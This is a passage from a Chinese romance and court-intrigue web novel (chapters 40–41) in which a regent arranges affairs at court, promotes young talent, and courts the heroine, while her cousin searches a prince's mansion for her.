除了郑建安心仪魏敏娴这种可能，他实在想不到别的原因。 魏敏娴皱了皱眉：“我和他素无来往。” 楚衍诺纳闷极了，“可我总觉得他和我有仇。” 魏敏娴柔声道：“可能只是朝堂不对付，相公最近心系表妹没休息好，有些事情没料到也是正常的，不如相公好好休息休息，等精神恢复了，有些事情不用想就通了。” 如今这个家里，侯夫人没好脸色，妹妹也不怎么待见他。 楚衍诺已经感受不到家的温暖了。 除了魏敏娴对他，一如既往的温柔。 就算他整天出去寻找表妹，她也没有一句怨言。 楚衍诺不得不在心里感叹，这个妻子，他是娶对了。 “这些日子忽略了你，等我找到表妹，会补偿你的。” 魏敏娴温温柔柔的笑着，楚衍诺是她深爱的男人，她以他为天。 “相公客气了，如今我们夫妻一体，暖暖不光是你的表妹，也是我的，我也同样关心她。 要不这样，明天我回一趟国公府，请我父亲帮忙找找，人多力量大，没准就找到了呢。” 楚衍诺真心感激她，“如此，有劳夫人了。” …… 刚才小倩留在包厢外边，险些被楚衍诺发现，还是她跑得快躲起来才逃过一劫。 楚衍诺走后，唐兮暖从隔间出来，小脸垮着，心情明显很不好。 不过不是因为楚衍诺。 而是刚刚和哥哥重逢就要分开。 “二郎，”她走到周川行身边，问道：“北域很远吗？” 周川行不想瞒她：“有点远。” 唐兮暖又问：“那很危险吗？” 周川行不好回她了。 北域当然危险，那是他去年打下来的土地。 那些人原本久居草原，不事生产，民风未开，十分彪悍。 可大周不能只要土地，不要百姓，只要真心归降，大周朝都愿意接受。 并和本地的百姓同等待遇。 这两年北域大旱，牛羊饿死无数，草原百姓食不果腹，只能内迁。 如果今年秋天不能让他们吃饱饭，十万灾民变成十万暴民，朝廷又得派大兵镇压。 原来皇上身体好，有皇上坐镇京城，他可以带着大军毫无后顾之忧。 如今皇上病重，他再带兵出征，只怕江山易主，他也有去无回。 所以，北域绝对不能乱。 他相信郑建安的能力。 另外为了防止出现暴乱，他又给郑建安派了帮手，还给了三万大军。 就驻扎在距离北域不远的地方。 万一出现问题，大军顷刻可至。 “暖暖，相信你哥哥，他会平安回来的。” “郑建安接旨。”周川行拿出早准备好的圣旨，递给他，又交给他一封密信，“关键时刻，这些都是你的保命符，收好。” 郑建安感激周川行想得如此周到。 前段时间自己还在朝堂骂他暴君，穷兵黩武，不由得后悔起来。 “微臣……”他想道歉，一时间竟不知道怎么开口，“王爷，微臣一定竭尽全力，安置好北域灾民，请王爷放心。” 周川行让他起来说话，“今天这桌酒宴，是我和暖暖为你送行，从现在开始，不聊政事，只叙家常。” 郑建安还有些不好意思坐，唐兮暖拉了拉他的衣袖，“哥哥。” 郑建安舍不得妹妹，红着眼眶坐在她身边。 “暖暖……哥哥对不起你，父母不在，也不能亲自照顾你……” 唐兮暖忍着哭意问他，“哥哥，我们的仇人是谁？” 仇人太过强大。 郑建安下意识看向周川行。 周川行含糊道：“仇人还没查出来，等我们查出来，一定会第一时间告诉你。” 这就是隐瞒了。 郑建安心生不满，可他又不想妹妹卷进来。 如果今天不是摄政王把人带过来，他一辈子不会对妹妹说起家仇。 “真的吗？”唐兮暖不太相信。 周川行将问题推给郑建安，“不信问你哥哥。” 郑建安能说什么，只能点头，“放心吧，等我查到仇人，一定会让他们付出代价。” 端王是个暖场的好手，很快从报仇雪恨上转移开，聊起唐兮暖拿到彩月楼比赛冠军的事情上。 郑建安与有荣焉，“当年我祖父精通算学，父亲也是高手，没想到小妹竟然遗传了他们的才智。” 唐兮暖第一次用自己的智慧赚到一百两银子。 如今和哥哥相认，自然要分哥哥一些。 她翻开挎包去找，忽然想起银子都给了周川行，“二郎，那些银子呢？” 周川行心情不畅，“不是送给我还想要回去吧。” 唐兮暖讨好的笑着，握着他的手撒娇，“二郎，你最好了是不是，我好不容易和哥哥见面呢，总不能连点见面礼都没有，好不好嘛，二郎？” 小姑娘娇娇软软的喊他二郎。 笑得乖巧又抓心。 周川行心情舒畅，“好，就当是我这个妹夫孝敬兄长的。” 他特别纵容的说完，冲门口喊人，“陶罐，回去把唐姑娘送我的银两取两个过来。” 陶罐领完差事去办。 唐兮暖高兴了，“谢谢二郎。” 周川行揉了揉她的小脑袋，“记得我的好，以后不管什么人想带你走，都要想着我，我才是要和你相伴一生的人。 如果你走了，我会很难过很难过。” “我不会走，”唐兮暖感情迟钝，可也能接收到周川行的情感。 听他说这些话，心口特别不舒服。 此刻，她紧紧握着周川行的手，认认真真的说：“我还要给你名分呢。” 虽然她还不知道怎么才能给一个男人名分，不过她会努力学习，尽早弄清楚这门功课。 万年老铁树，被哄成个婴儿。 周川行通体舒畅，杀人如麻的活阎王，温柔成水一般。 此刻他眼里尽是柔情，看着自己的小姑娘，忽然觉得以前吃太多苦受太多罪都是值得的。 老天爷把最好的姑娘送到他身边。 自然是要多付些代价的。 从周川行喜欢上唐兮暖开始，端王一直都知道。 他从不相信一生一世一双人的鬼话。 更不相信二哥堂堂摄政王，会一辈子守着一个女人。 不过一时荷尔蒙冲动，等这份冲动过去，肯定会有别的女人。 可此刻，二哥满眼都是这个小姑娘，哪里还容得下别人。 这世间的风景如此美好，环肥燕瘦各领风骚，他真不想再领略一下别的风景？ 郑建安一开始怀疑周川行心机不纯，不过看他和妹妹互动如此甜蜜。 就算以后他会辜负妹妹，至少此刻妹妹是幸福的。 这世上真正长情的男人又有几个。 表弟都不过如此，他有什么底气要求别的男人一辈子只对妹妹一个人好。 酒宴结束，陶罐将带来的两个银元宝交给唐兮暖。 她特别开心的放进郑建安手里。 “哥哥，北域苦寒，这个带着，妹妹会每天求菩萨保佑你平安回来。” “好妹妹，”郑建安含泪收了元宝，“父母在天有灵，看见你如此懂事，一定会高兴的。” 郑建安不放心妹妹，转而看向周川行：“我就这一个妹妹，如果她有什么事，我就是拼上这条命，也要为她讨个公道。” 周川行已经见识过他对楚世子的态度了。 “我周川行的姑娘，自然会护她一生一世，大哥尽管放心，好好建功立业，到时候我的新娘还要从唐家出嫁，别给我的姑娘丢脸。” 周川行这话包含了两层意思。 一是他t会明媒正娶。 二是，两人成亲的时候，唐兮暖已经不是戴罪之身，唐家也已平反。 郑建安明白了周川行的心思，不得不对他刮目相看。 一向斯文仁厚外人评价极好的表弟，竟然是个禽兽不如的畜生。 而杀人如麻心狠手辣的摄政王，对待感情却如此认真。 “建安在这里谢过王爷，”他起身，恭恭敬敬的行拱手礼，“小妹就托付给王爷了。” 因为自己还是戴罪之身，不宜和小妹接触过多。 他表达完感谢，最后看了一眼妹妹便离开了包厢。 说来也巧，下楼的时候竟然碰到楚衍晴和朝栎。 虽然是表兄妹，但他们从来没以原身份见过。 唐家远在江南，当年只有唐御史一个人在京城做官。 郑建安和小妹以及母亲、祖父母都在老家。 否则郑建安来京城七八年，也不会没人认出他是唐家之后。 楚衍晴只觉得他眼熟，可到底像谁，她一时也没反应过来。 不由得多看了几眼。 郑建安自然认识表妹，不过因为楚衍诺的关系，他并不想和楚家人有什么来往。 是以他只扫了一眼便收回目光。 朝栎注意到两个人的神情，多看了几眼。 “衍晴，我怎么觉得你们两个有些像。” 楚衍晴被她说笑了：“怎么可能，我只有一个哥哥。” 朝栎不过随口一说，“他长得还挺俊秀，对了，好像是虞国公的小儿子，听说是私生子，七八年前才接回来的。” 楚衍晴最喜欢听八卦了，“是么，虞国公那么憨厚的人，竟然也养外室，果然这男人就没好的。” 郑建安没走远，隐约听到楚衍晴的话，心里呵笑，这世上最渣的男人就在楚家。 郑建安走后，周川行也没打算多待。 他还有一堆朝政要处理。 如果不是要带小姑娘见她的亲人，根本不会出来。 “我们也走吧。” 端王先出的屋，正好和楚衍晴碰到，“你怎么来了……” 注意到旁边的朝栎，脸色拉了起来，“天都要黑了，还往外跑，回去了。” 朝栎不愿意。 自从前段时间和楚衍晴出来听戏，一下打开新世界的大门，她每天都想出来。 “我们一会儿还要看戏去呢。” 周川行跟在端王之后，他的脸色比端王还冷，“一个小姑娘哪有天天出门的，也不怕遇到坏人，这就给我回去，腰牌收了，以后没我的允许不许出来。” 朝栎这就不愿意听了，“不是你前段时间让我往楚家跑了，怎么，人不追了？” 她看看楚衍晴，又看看周川行，眼里含笑，意味不明。 周川行根本不接她的茬。 只管拉着唐兮暖下楼，“今天是最后一次，明天就让皇后把你管起来。” 他吩咐陶罐，“跟着公主，一会儿把人送回去。” 楼道狭窄，挤了太多人。 周川行拉着唐兮暖一路走过去，朝栎的注意力全在以后不能经常出宫的担忧上，没顾上这个陌生的小公子。 楚衍晴被朝栎打趣的不好意思，此刻躲着端王火辣的眼神。 待唐兮暖走到楼下才忽然意识到，表姐竟然被摄政王拉着。 所以，表姐跟摄政王在一起了…… 摄政王是什么人，那是个杀人不眨眼的大魔头。 表姐连哥哥都应付不了，怎么和摄政王相处。 还不得被吃的骨头都不剩。 楚衍晴不放心表姐，急忙赶过去追，却被端王拦住去路。 “怎么，楚三小姐舍不得我走？如果舍不得，我可以不走。” 楚衍晴眼看着表姐的身影消失，又挣脱不开端王的纠缠，只能作罢。 看摄政王的神情，对表姐还不错，至少暂时不会有危险。 待她寻个机会和表姐见一面，如果表姐过得不好，她必须带表姐离开。 …… 唐兮暖回到王府后，一直坐在屋里发呆。 爹娘被人害死，她有为爹娘报仇的责任。 可她连仇人是谁都不知道。 这十几年，她活得浑噩，仿佛一只没有思想的金丝雀。 如今她正一点一点的成长，总有一天，她会像一个正常人。 刚才王爷答应她了，三年内会帮她们唐家平反。 这事她帮不上忙，可她能帮王爷做些力所能及的事。 比如府里的账务。 这样他就不用操心内宅的问题了。 “魏公公，我现在可以去账房吗？” 天色都黑了，哪有人半夜做账的。 魏公公担心唐兮暖的身体，“唐姑娘还是早点休息，养好身体才能帮王爷做事。” 唐兮暖想了想，是这么回事。 “那我明天早点去账房。” 张太医来王府给唐兮暖请平安脉。 总体说来，唐兮暖恢复的还不错，张太医嘱咐些注意事项，单独来到小勤政殿跟周川行汇报。 “王爷，唐姑娘身体逐渐好转，比预期的好些。” 唐兮暖这几天精神都不错，能吃能喝能睡，面色透着健康的红润，周川行心里还是有些底气的。 “张太医妙手回春，当赏。” 张太医汇报完唐兮暖的健康情况，神情有些严肃道：“王爷，今天晌午，皇后召见了微臣。” 周川行皱眉。 张太医如实汇报：“皇后询问微臣最近怎么总去勤政殿，担心王爷的身体，还问下官……王爷是不是带了女人回去。” 周川行面色平静的品着茶，凉嗖嗖的瞥了张太医一眼。 压迫感十足。 杀伐果断的摄政王随时都能要人性命。 张太医就觉得后脖颈凉飕飕的。 他不光觉得自己后脖颈凉飕飕的，还觉得全家后脖颈都凉飕飕的。 “王爷，下官可什么都没说，就说王爷旧疾复发，下官担心王爷这才多去了几趟……只不过皇后不太相信。” 周川行带唐兮暖回宫那天就预料到会有今天。 “对了，外界不是传言本王好男色吗，就没什么人见过本王跟男人在一起？” 张太医反应片刻，明白了：“对对对，王爷好男色，府里是养了个男宠，下官亲眼所见，唇红齿白，十分俊秀。” 周川行想到暗卫去楚世子婚礼听到的八卦，无奈扯了下嘴角。 “你那小儿子也及冠了吧，听说医术还不错，正好北域那边缺医少药，不如让他去北域锻炼锻炼，张太医觉得怎么样？” 张太医觉得不怎么样，可他不敢说。 摄政王重赏他，自然也会防着他。 这北域是流寇频发的地方，去了那里是死是活可不由自己说的算。 摄政王的意思很明白，他不让儿子去，王爷不信他。 让儿子去，就是一个把柄。 “王爷……” 周川行示意他放松，“我会派人保护的，张太医放心，我只想让令郎锻炼锻炼而已，等他回来，正好进太医院跟你学习。” 张太医还是不同意。 周川行又道：“如果我没记错，院使该告老还乡了吧，张太医难道没想法？” 谁不想做太医院的院使。 那可是太医院最高级别的官职。 张太医做梦都想。 如今老院使即将告老还乡，而竞争这个职位的一共有三名太医。 他虽自认为医术最高，可他是最年轻，最没背景，机会最小的。 如今有了王爷做靠山，院判职位已经开始向他招手。 急忙跪地叩谢：“微臣感谢王爷提拔，大恩大德没齿不忘。” 第40章 解决了张太医。 周川行又见了姚麟。 他昨天让端王今天上午把姚麟带过来,可他一直没空出时间召见。 从八宝斋回来，姚麟还站在门口等着。 人显着有些拘束，也不知道找个椅子坐下来。 就那么端端正正的站在门口。 周川行把唐兮暖送回屋,返出来召见了姚麟。 “小民给王爷请安，”姚麟俯身行礼。 周川行命他不用虚礼，“今天叫你过来,是有几个问题想和你们年轻人探讨。” 实际上两人才差一两岁。 可周川行这些年一直带兵打仗，总觉得自己不算年轻了。 很自然的把这些没有进入官场的人当成后生晚辈。 姚麟诚惶诚恐。 他一个青楼女子生的儿子，连亲爹都不待见，哪担得起摄政王探讨二字。 “小民才疏学浅，担不起探讨，王爷有事尽管吩咐。” 周川行命他坐下来聊，“我了解了一下你的身世，听说你是太傅的儿子，应该对朝政多有了解，今天不妨直说,对现在的朝廷有什么建议，或者有什么想法？” 姚麟哪敢妄议朝政,“王爷……小民不管乱说。” 周川行让端王把门关上,“今天这里只有我们三人，不管你说什么,都不会有第四人知道，尽管直言就好。” 姚麟能拿到彩月楼比赛的第三t名,可不是什么笨人。 大周朝人才断代，摄政王初入朝堂，求贤若渴，如果他今天能说到王爷的心坎里,肯定平步青云。 所以，今天是他特别难得的一个机会。 他必须抓住了。 “既然王爷问起，小民便知无不言了。 王爷，大周朝经过几十年的战乱，民生凋零，百废待兴，朝廷任务艰巨，眼下最关键的问题便是让民有所食，民有所居，民有所依……” 姚麟是有真才实学的，周川行问到他所擅长，自然侃侃而谈，犹如行云流水。 周川行听得开阔又迷茫，“你说的这些，具体应该怎么实现？” 姚麟既然能提出来，自然有办法应对。 接下来一整晚，周川行都在听姚麟谈他的治民策略，受益颇多。 最后还是端王提醒，“二哥，不早了，明天还要上朝。” 周川行才打了个哈欠，放姚麟离开。 “明天早朝，跟你父亲一起去，本王在县衙给你安排个职位，先锻炼一下，回去吧。” 姚麟作为外室子，这二十年多活得一直很憋屈。 母亲出身青楼楚馆，他爹喜欢的时候，当成玩物。 如今年老色衰，连生病吃药的银钱都舍不得给。 大周朝十几年没开过科举，自然十几年没出过秀才。 今年秋天参加乡试的学子全由官员举荐。 太傅作为正一品高官，手握大权。 手中握有十个举荐名额，却不肯给他一个。 甚至放出狠话，也不许其他亲朋好友给他。 所以，他连参加乡试的机会都没有。 如今被摄政王看中，先去县衙锻炼，至少能有个8九品。 怎么不算是一步登天了。 从今以后，他们母子再也不用仰人鼻息了。 姚麟满心欢喜，浑身都透着春风得意般的风采。 可这欢喜最终终止在一只脚踏进家门口的时候。 姚太傅面色铁青的站在院子里，怒视着他。 一见面就骂：“你不好好在家照顾你娘，跑哪去了？” 姚麟极力克制着，走到姚太傅面前行礼，“父亲，儿子去见摄政王了。” “你去见摄政王？”姚太傅动了怒，“摄政王是你想见就能见的人？你什么身份，一个青楼女子生的畜生，也敢给我们姚家出去丢人现眼。” 姚麟想要分辨，“我没有丢脸……” 相反，摄政王很喜欢他的才华，还让他去县衙锻炼。 这是考察的意思，只要通过考察，随时都可以平步青云。 姚太傅连听他说完的耐心都没有，“给你脸了！竟然敢跟为父顶嘴，你自己什么身份，就敢出去招摇，以后给我夹起尾巴做人，否则别怪我把你赶出去。” 他越骂越气，“给我滚去祠堂跪着，没有我的允许不许出门。” 姚麟咬紧了牙关，“王爷让我明天跟您一起上朝……” “放肆，”姚太傅怒极，“你一个青楼女子生的孽种，也敢进朝堂，你不嫌丢人，我还嫌丢人。” 语毕，他命令家丁把人赶去祠堂。 之后憋着一肚子怒火离开。 姚母出身不好，胆子又小，姚太傅发火的时候她不敢出来。 姚太傅走了，她才急急忙忙赶到儿子身边。 “阿麟，娘对不起你，娘连累你了。” 姚麟抱着姚母，忍不住落了泪。 无论他怎么努力，父亲都看不到他的好。 他的出身已经烙在了额头上，谁见到都能踩一脚。 第二天周川行上朝，果然没见到姚麟，问了姚太傅，他倒也坦然。 “孽子身份低贱，不好污了王爷的眼，就不入朝了。” 周川行忍不住想发火。 可他寻视了一遍朝堂。 太师和左丞相是皇后的人。 太傅和右丞相是睿王的人。 三公九卿几乎没什么人是站他的。 六部尚书，除了兵部是他的人，其余五个年迈的年迈，年轻的也早已经站队，盘根错节根本无法理清。 牵一发而动全身，以他一人之力，除非把全朝堂的人罢免。 可那时，所有差事谁去办！ 也怪他这些年一直在外带兵打仗，后勤之事全都交给皇上，他根本没想过有一天皇上会病重，他需要放下大军回京独自面对这些。 周川行反应慢了半拍，他有些不解的看向太师：“太傅是入赘的吗？本王回朝时间短，以前怎么没听说。” 太师也没反应过来。 他看向太傅。 太傅更是一脸懵，“王爷，您这话的意思是……” 周川行解释道：“我大周朝的子女，自来出身看父亲，太傅身份尊贵，自然不会生出低贱的儿子，除非太傅是入赘，子女随了母家。” 姚太傅：“……” 这话可是侮辱到了他。 关键姚麟的母亲还是青楼出身，岂不是骂他给青楼女子入赘。 “王爷你……” 太师忍不住大笑起来，“姚太傅你也真是，娶了青楼女子这种风流韵事又不算丑闻，怎么还跟儿子计较上了。” 这话打了姚太傅的脸。 “太师不要欺人太甚！” 太师主动向周川行举荐，“我观姚太傅的小儿子姚麟才情俱佳，是个可造之材，不如在县衙给他安排个职务。” 太师和太傅向来不睦。 这些年，太傅站在睿王那边，没少难为皇上。 皇上没病的时候，他当然翻不出花。 可如今皇上重病，这些站睿王的人都开始蠢蠢欲动。 太师今天非要将姚太傅钉在耻辱柱上。 所以他说什么都要给姚麟安排个职位。 周川行早有此意，还因为姚太傅阻止姚麟入朝生气。 这会太师顶在前边，他开始看好戏。 “王太师，这不合适吧。” “有什么不合适的，”王太师亲自举荐。 周川行就是看不惯姚太傅这副道貌岸然的嘴脸。 嫌弃人家青楼出生，别解腰带啊。 孩子都出生了，开始嫌弃了。 好像儿子不是他的种一般。 “既然太师开口了，本王怎么也得给太师个面子，也别去县衙了，直接去户部吧，就做个户部员外郎，太师觉得怎么样？” 太师本来想踩一脚姚太傅。 可户部员外郎是从五品。 这姚太傅的儿子初入朝堂就做到从五品，是不是太快了点…… “太师，太师？”周川行看见太师迟疑，当即拍板，“既然太师同意，那就户部员外郎，一会拟份圣旨，让姚太傅直接带回去，也省得本王再另外派人了。” 姚太傅：“……” 王太师：“……” 怎么感觉两人都没讨到好处。 端王适时恭喜两人：“恭喜姚太傅令郎升官发财，恭喜王太师举荐有功，两位不愧是我大周朝的柱石。” 姚太傅和王太师都怀疑自己被骂了。 可他们没有证据。 唐兮暖今天早早起来，撸胳膊挽袖子，准备好好帮周川行管理一下王府的账务。 一上午过去，她就后悔了。 王府只是一个空壳子，竟然一直入不敷出。 而且她发现每个月都有大笔款项被王爷支走，没有说明原因。 “咱们王爷很穷吗？”唐兮暖不由得发出灵魂拷问。 魏公公如实回她：“王爷怎么可能穷，王爷有俸禄，有田产，有封地，应该是最有钱的人才对。” 唐兮暖觉得不对，“可咱们王府没钱啊，这账上都是负的。” 魏公公纳闷，“不可能吧，王爷都没银子，这天底下还有有钱人吗。” 唐兮暖把结果拿给他看，“你看嘛，账上确实是空的。” 魏公公看向师爷：“这是怎么回事？不是你偷了王府的银子吧。” 师爷慌了：“我哪敢动王爷的银子，确实都是王爷支走的。” 一个月好几万两银子，唐兮暖不知道一个人为什么如此能花。 “王爷没说干什么用？” 师爷摇头：“这个，王爷还真没说过。” 唐兮暖只忙了一天就把管账的事停了。 王府的账不复杂，师爷完全可以处理。 她只是好奇，王爷每个月都拿走大笔银子做什么了。 周川行傍晚才回来。 即使这样，朝政还没处理完，让陶罐全都搬回来了。 以后不上朝，除了每天必要的探望皇上，他大概会把所有朝政都带回王府处理。 昨天答应小姑娘见孙卿兆，还没空出时间。 只能推到晚饭后了。 一天没见，他迫切想要见见小姑娘。 也就只有晚饭这段时间。 唐兮暖正好也有事问他，两个人坐到饭桌前，都没忍住先把对方打量一遍。 唐兮暖是真心疼周川行的，“你每天好忙，累不累啊！” 一天睡不到两个时辰，还要防备那些老狐狸的算计，哪有不累的。 不过周川行在见到小姑娘这一刻，所有的疲惫都消失了。 “不累。” “骗人，”唐兮暖才不信，“我给你捏捏肩膀好不好？” 受宠若惊，周川行点了点头，“好。” 唐兮暖起身转到他身后，柔软的小手落在他的肩膀上，轻重有度的捏起来。 “二郎，我今天看了帐，发现你每个月都支走好几万两银子，是t做什么用的？” 别说她不是府里的女主人，就算是王妃，也管不到王爷身上。 可她心思干净，想到什么便做什么。 既然知道这笔支出有问题，自然要问清楚。 周川行倒也没瞒她，“国库空虚，已经支撑不起那么多军费了，这笔支出算是借给国库支给边疆战士的。” 唐兮暖诧异道：“我们朝廷那么穷的吗？” 周川行叹了口气：“朝廷打了几十年的仗，皇兄登基后，这十几年几乎没停过。 之前收入和支出还能持平，这两年皇兄生病，上下相蒙，最富裕的几个省一分税银收不上来，朝廷还倒欠他们的。 国库哪还有银子。” 唐兮暖从来没想过这些事。 她还以为朝廷很富有，每个王爷都生活的很滋润。 没想到只是个空壳子。 “那你以后还要一直填补？” 周川行自然不可能一直填补，况且他一个王府也养不起朝廷几十万大军。 “等查清楚国库的帐，到时候自然会有人出这笔银子。” 唐兮暖下意识问：“为什么不现在查？” 周川行怎么不想查，他手里没人。 总不能亲自去查，况且他也不懂账务，亲自去查也查不明白。 忽然想起初见小姑娘那天，她只花两个时辰便把他书房内所有的账务问题都捋清楚了。 甚至连户部对十万灾民的救灾方案都整理的清清楚楚。 如果带着小姑娘去国库，在所有朝臣都来不及准备的时候出其不意，等他们反应过来，已经拿到确凿证据。 谁还拦得住他追究责任。 否则一面是皇后的人，一面是睿王的人。 皇上还在，他没有确凿的证据就动皇后，别说皇上醒来会怎么跟他算账，就算悠悠众口也堵不住。 而睿王是他的亲弟弟。 本来就有朝臣责怪他杀伐太重，再对弟弟动手，还不得被世人安上暴君弑杀成性的罪名。 如今大周朝好不容易走上正轨，绝不可因为他各人的德行再度陷入纷争，让百姓流离失所，苦不堪言。 不过这事还要谋划一下，不能操之过急。 “会查的，到时候还要请你帮忙。” 唐兮暖巴不得帮他做点事，“那我随时准备着。” 晚饭过后，周川行去小勤政殿召见孙卿兆。 他不喜欢心眼子太多的人。 从十三岁开始远离父母外出打仗，面对的都是一群直来直往的糙汉子。 他反感需要花心思应付的各种人和事。 不过小姑娘说话了，他怎么也得认真对待一下。 端王不无嘲讽道：“不是不见吗，怎么又见了。” 周川行一副他也没办法的口吻道：“小姑娘费心思给我举荐的，能怎么办。” 端王瞧不起这他这副嘴脸，“秀恩爱，死得快。” 周川行可没觉得自己秀恩爱，他这是情感的自然流露。 谁不知道摄政王手上沾满了鲜血，杀伐果断，残酷无情。 孙卿兆第一次正式拜见摄政王，浑身都紧绷着，恨不得提起十二分小心。 行完礼后老老实实站在一旁。 周川行确实杀人如麻，可那是面对敌人的时候。 都是大周朝的子民，只要不犯重罪，他怎么可能胡乱杀人。 “坐下说。” 孙卿兆可不敢，“草民还是站着好。” 周川行也不勉强，“彩月楼比赛，我看了全程，知道你得了第二名。 今天叫你过来，看看你除了算学还有什么能耐。” 孙卿兆硬着头皮问，“不知道王爷想了解哪方面？” 周川行抿了口茶，“怎么你还有几面特长？” 孙卿兆对自己的能耐还有几分底气，“看王爷需要哪面。” 周川行第一次见这么大言不惭的。 看了眼端王。 端王笑道：“不如你分析一下如今的朝政。” 孙卿兆为难了，“草民不敢妄议朝政。” 端王像闲话家常般开口，“咱们私下聊聊，你说的对，王爷有奖，说不对，就当娱乐了。” 孙卿兆有些犹豫。 主要是担心摄政王阴晴不定，万一哪里惹到他，招来杀身之祸。 可这是自己难得的机会。 如果错过，只怕再难遇到。 最终，孙卿兆决定豁出去了。 “两位王爷，草民确实有些想法。 如今皇上重病在床，王爷摄政，可大周朝十几年没举行过科举，满朝官员全部由举荐而来，这里边藏污纳垢的地方可就多了……” 他一边说一边小心翼翼观察着摄政王的脸色。 面无表情的端坐在那，应该在听他说话。 他清了下嗓子，继续道：“如今两位丞相，再加三公九卿，六部尚书，这一层层下来，任何政令从摄政王那里下去，或者民情、事件从下边传上去，都要经过他们，真正能落实的，能有几项？” 这话说到了周川行的痛楚。 他回朝后，刚杀过一波大臣时，效果确实不错。 可时间一长，各种倦怠风气又起，很多时候他下的政令，根本传达不下去。 有人阳奉阴违，有人干脆不肯执行，还有的政令到地方都不知道歪哪去了。 “你有什么好办法？” 孙卿兆知道自己接下来的话不仅大逆不道，还会天翻地覆。 可他不得不说。 “废除丞相之职，成立一个专门部门，由王爷亲自负责。” 废除丞相职位这么大胆的想法，周川行还是第一次听说。 不由得皱起眉头。 端王也是第一次听说。 不过还挺新鲜。 “那废除之后，丞相那个位置怎么办？” 孙卿兆谋思道：“丞相之位既然废除，自然是不要这个职位了，王爷成立一个专门的部门，以后所有的奏折都直接送到这个部门，他们只有批改意见，没有决定权利。 所有政令，由王爷直接下达，这个部门草拟完之后，直接发到执行单位，完全没有丞相这道关隘。” 端王还是没想明白，“那所有事情不都落到摄政王头上了？” 孙卿兆：“摄政王可以设立两位辅政大臣，专门对摄政王负责。” 周川行早对两位丞相不满了。 站着茅坑不拉屎，专门跟他对着干。 一项利民利国的政策想不出来，可拖后腿，他们第一名。 关键权力还大，又和后朝牵扯不断，早晚成为心腹大患。 孙卿兆可谓说到了他的心坎上。 接下来，孙卿兆又聊了很多自己的设想。 周川行不得不承认，孙卿兆确有将相之才。 可这人毛病多，还得历练。 而且，他今天提出废除丞相位的事，早晚会传出去。 那时，两位丞相还不得剥了他。 …… 几个人正聊的起劲，端王府忽然来人了。 “王爷，不好了，楚世子带人找上门，吵吵着让您立刻交出他们家表姑娘。” 端王一惊：“他怎么找到我那里的？” 40-50 第41章 端王没想到楚衍诺会找到王府,还带人过去的。 这是拿到了实证。 端王府大管家回他：“是魏国公的小儿子带人抓了全城的当铺老板，一个一个审出来的。” 魏国公的小儿子，是魏敏娴的亲哥哥。 非嫡非长。 他会出马,肯定是魏敏娴参与了。 楚衍诺找了大半个月都没找到什么线索，他倒是个能干的。 端王打算回去会会楚世子，“二哥,我回去一趟。” 周川行让他注意分寸，之后和孙卿兆继续聊朝政。 端王快马加鞭，很快赶回端王府。 楚衍诺至少带了上百人，呜呜泱泱挤满了端王府大门口。 端王跳下马，满脸不悦地瞧着楚衍诺，“怎么，楚世子还要硬闯我的王府不成？” 楚衍诺心里压着气，“下官不敢，不过表妹是下官的命根子，不找回来决不罢休,还请王爷将人还我。” 这话把端王说笑了。 他手里握着马鞭，绕着楚衍诺走了两圈。 眼里充满了讥讽,“楚世子的命根子？我看楚世子新婚燕尔过得还不错啊。” 楚衍诺生气道：“王爷,表妹她只是一个不能自理的傻丫头，王爷天潢贵胄,身份尊贵，要什么样的女人没有,还请王爷将表妹还给我。” 端王自己渣，整天做着左拥右抱的美梦。 可他渣的明明白白。 不会不想娶人家就霸占着。 “楚世子这话可就玩笑了，既然是你的命根子，你怎么会把她丢了？而且你有什么证据证明是我拐走了你的表妹？ 她是个成年人,她就不会自己走？” “端王，”楚衍诺极力忍着怒火，“你别太过分，表妹一直生活在侯府，从来没机会接触外男，也就是你，她那天进宫迷了路，认识了你，否则她不可能离开侯府，更不可能跟不认识的人走，只有你，有这个便利也有这个能力。” 端王只当他夸自己了，“多谢楚世子高看一眼，不过可惜了，你分析的不对，你表妹可不是我带走的。” 楚衍诺把当铺掌柜的拎过来，“你自己说。” 掌柜的不敢得罪王t爷，可也不敢得罪楚世子和国公府。 他慌忙跪地求饶，“小的啥也不知道，饶了小的吧，饶了小的吧……” 楚世子一再克制，没忍住，狠狠踹了当铺老板一脚，“滚！” 他只跟端王说：“小倩带着珠宝首饰变卖，是你收了，这个掌柜的不敢说，但不代表你没做过。” 端王耸了下肩膀，“原来你是想要回那些首饰啊，一共七千两，拿银子来，我还你。” 楚世子忍不住发火：“我要的是银子吗？我要的是人。” 端王也有了几分怒意：“那可不好意思了，人我没有，楚世子舍不得出银子，就给本王滚远点，我看你妹份上不跟你计较，可别以为本王是软柿子。” 楚衍诺好不容易查到表妹线索，不可能就这么放过。 “除非你让我搜查王府，否则我今晚就住这了，不光今晚住这，明天后天，以后每天我都住这，直到你放了我表妹为止。” 楚衍诺不要脸成这样，端王也拿他没办法。 不说武安侯当年对他们兄妹几个有救命之恩，就说他还心仪楚三小姐，这个未来的大舅哥，他就不好得罪。 “想搜也行，不过只有你一个人能搜，本王的府邸，可不是什么阿猫阿狗都能进的。” 楚衍诺陷入纠结。 偌大的亲王府，哪是他一个人能搜过来的。 端王的好脾气也是有限度的，“楚世子，不是我不给你机会，你表妹是一个人，她但凡在我府里，你只要喊几嗓子，她想跟你走，自然会出来。 如果她不出来，只能说明，她要么不在我府里，要么就是你伤透了她的心，她不愿意见你。” “不，不可能，”楚衍诺怎么可能相信表妹不愿意见她。 “她不肯出来，只可能是她被你关起来了，你说，你是不是把她绑住了。” 端王被他气笑了，“楚世子，你脑子是不是不清醒？我要什么样的女人没有，为什么要绑住她，再说我喜欢三小姐，抓她表姐干什么。” 端王喜欢小妹不加掩饰，楚衍诺是知道的。 除非小妹拜托了端王把人带走，否则端王还真没有理由。 这些年端王除了胸无大志，总被皇上骂他不会办差，倒没听说他有什么恶劣的癖性。 此刻他如此坦荡，难道表妹真不在这里…… “我去找人。” 最终楚衍诺一个人进了王府。 他一边走，一边喊，声音十分凄厉。 这偌大的王府，他找一天都找不过来一遍，只能在所有能住人的屋子外边大喊。 希望表妹听到他声音主动出来跟他见面。 楚衍诺这一找就是两个时辰。 端王懒得理他，回屋睡了。 早晨起来的时候，发现楚衍诺倒在他屋门口，颇为无语的踢了他两脚。 当然没怎么用力。 “楚世子，你打算赖在我家了是不是？” 楚衍诺嚎了一宿，人困马乏，心生绝望，最后连自己在哪里都不清楚了。 这会见到端王，他忽然扑上去抱住端王大腿，“王爷，求求你，把表妹还给我吧，没了她，我也活不成了，求求你了，把她还给我吧。” 端王想一脚把人踢开，但是没踢开。 楚衍诺抱得实在太紧了。 